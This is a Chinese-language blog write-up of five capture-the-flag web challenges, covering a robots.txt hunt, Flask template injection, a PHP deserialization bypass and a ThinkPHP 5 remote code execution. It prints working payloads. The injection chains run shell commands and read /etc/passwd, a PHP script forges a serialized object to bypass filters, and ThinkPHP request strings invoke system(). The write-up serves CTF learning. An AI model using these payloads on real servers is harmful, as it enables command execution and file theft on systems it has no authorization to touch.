攻防世界web高手进阶php_rce,攻防世界 web高手进阶区 1-5 2020.6.11

前言

继续ctf的旅程

攻防世界web高手进阶区的1-5题

1、baby_web

进去是个1.php

页面里只有helloworld

按题意是说想看初始网页

猜测有index.php

结果直接跳转到1.php

查看源码

在index的请求头里发现flag

3f2966a1bd2f8e263bab5c84b87a13b1.png

2、Training-WWW-Robots

这题不就是个robots嘛

没什么好说的了

进入robots.txt

发现php

进入php

发现flag

3、Web_python_template_injection

题目提示是python template injection

是SSTI。。。

。。。。。。

之前没接触过,现学

从零学习flask模板注入

寻找可用引用

{{''.__class__.__mro__[2].__subclasses__()}}

53b86f00e2b7603eb7c78204f33d92f4.png

找到我们想要 的 os 所在的 site._Printer 类,它在列表的第72位

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

4d58e2de42eaea75634a51ff2b101789.png

得到flag所在的位置

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

c94f5c7d8394ccb0160a3c23e2079f12.png

到手

也可以用

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

得到flag

注:

几个有用的payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].popen('cat fl4g').read()

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].system('ls')

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

4、Web_php_unserialize

26f3f1767daf064d7f7bf4afdc9009c5.png

进来是这么一段源码

初始化传入值可以更改类中属性file的值

flag在fl4g.php

当demo实列销毁时会高亮显示file指向的文件内容

参数传入要求

先进行base64加密

preg_match()匹配绕过

unserialize() 反序列化执行_wakeup()的绕过

加密和反序列化都不是问题

关键是绕过正则匹配和_wakeup()

wakeup的绕过还行

当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过

正则的绕过不太懂

查了查是说用“+”即可

后来找到一篇解释

大佬笔记

最后得到脚本

class Demo {

private $file = 'fl4g.php'; //flag在fl4g.php

}

$a= serialize(new demo); //序列化

//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

$a= str_replace('O:4', 'O:+4',$a); //用“+”绕过preg_match

$a= str_replace(':1:', ':4:',$a); //把对象个数从1变成大于1的个数绕过wakeup

echo base64_encode($a); //加密

?>

运行得到payload

TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

放入url

ad71df81f92742a80893eb24bfb5a32d.png

得到flag

注:

关注版本问题

像“+”绕过正则是php5里的

5、php-rce

ThinkPHP版本5的相关漏洞

先随便输点东西试试

6accb672571ce1e35192dca7d805d90b.png

发现版本号

查了查漏洞

漏洞解析

拿个payload来试试

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

7ee0f63f859e4daa40e429fe4d6db95c.png

发现可用

修改下,寻找flag

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

8b3186fcc30e689aaadfbdfbc3d5aa59.png

直接就有了

原文链接:https://blog.csdn.net/weixin_44604541/article/details/106675774

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值